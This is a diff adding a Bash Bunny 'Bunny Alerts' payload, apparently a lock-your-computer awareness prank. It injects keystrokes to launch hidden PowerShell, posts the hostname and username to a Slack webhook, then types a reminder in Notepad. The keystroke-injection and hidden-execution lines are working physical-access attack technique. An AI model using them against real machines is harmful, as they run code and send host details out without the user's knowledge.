Bunny Alerts payload sends a message to Slack

payloads/library/general/BunnyAlerts/alert.ps1

@@ -0,0 +1,19 @@
+# Title:         Bunny Alerts
+# Description:   Sends a message to Slack channel using incoming Webhook
+# Author:        Jesse Allen
+# Version:       1.0
+# Category:      General
+# Target:        Windows
+
+<#
+.DESCRIPTION 
+	This program will send a message to slack
+#>
+
+# options
+$msg = "Hostname: ${env:computername}, Username: ${env:username} left their computer unlocked!"
+$uriSlack = "<Your Slack Webhook Url>"
+$body = ConvertTo-Json @{
+    text = $msg
+}
+Invoke-RestMethod -uri $uriSlack -Method Post -body $body -ContentType 'application/json' | Out-Null

payloads/library/general/BunnyAlerts/payload.txt

@@ -0,0 +1,34 @@
+# Title:         Bunny Alerts
+# Description:   Sends a message to Slack channel, and writes message in notepad
+# Author:        Jesse Allen
+# Version:       1.0
+# Category:      General
+# Attackmodes:   HID
+# Target:        Windows 10, 11
+
+LED SETUP
+
+GET SWITCH_POSITION
+
+ATTACKMODE HID STORAGE
+
+LED STAGE1
+QUACK DELAY 1000
+QUACK GUI r
+QUACK DELAY 1000
+
+LED STAGE2
+# run PowerShell script
+
+QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\alert.ps1')"
+QUACK ENTER
+QUACK DELAY 1000
+
+LED STAGE3
+# open notepad and write message
+
+RUN WIN Notepad.exe
+QUACK DELAY 1000
+QUACK STRING Friendly reminder to lock your computer!
+
+LED FINISH

payloads/library/general/BunnyAlerts/readme.md

@@ -0,0 +1,19 @@
+## BunnyAlerts
+
+Author: Jesse Allen     
+Target: Windows     
+Version: Version 1.0
+
+## Description
+
+Sends a message to a Slack channel using incoming Webhook, then opens notepad and writes a message.
+
+## Configuration
+
+HID STORAGE
+
+## Requirements
+
+Slack will need to create a Slack app and activate Incoming Webhooks. Replace the slack url in alerts.ps1 with your own webhook url. 
+https://api.slack.com/apps?new_app=1
+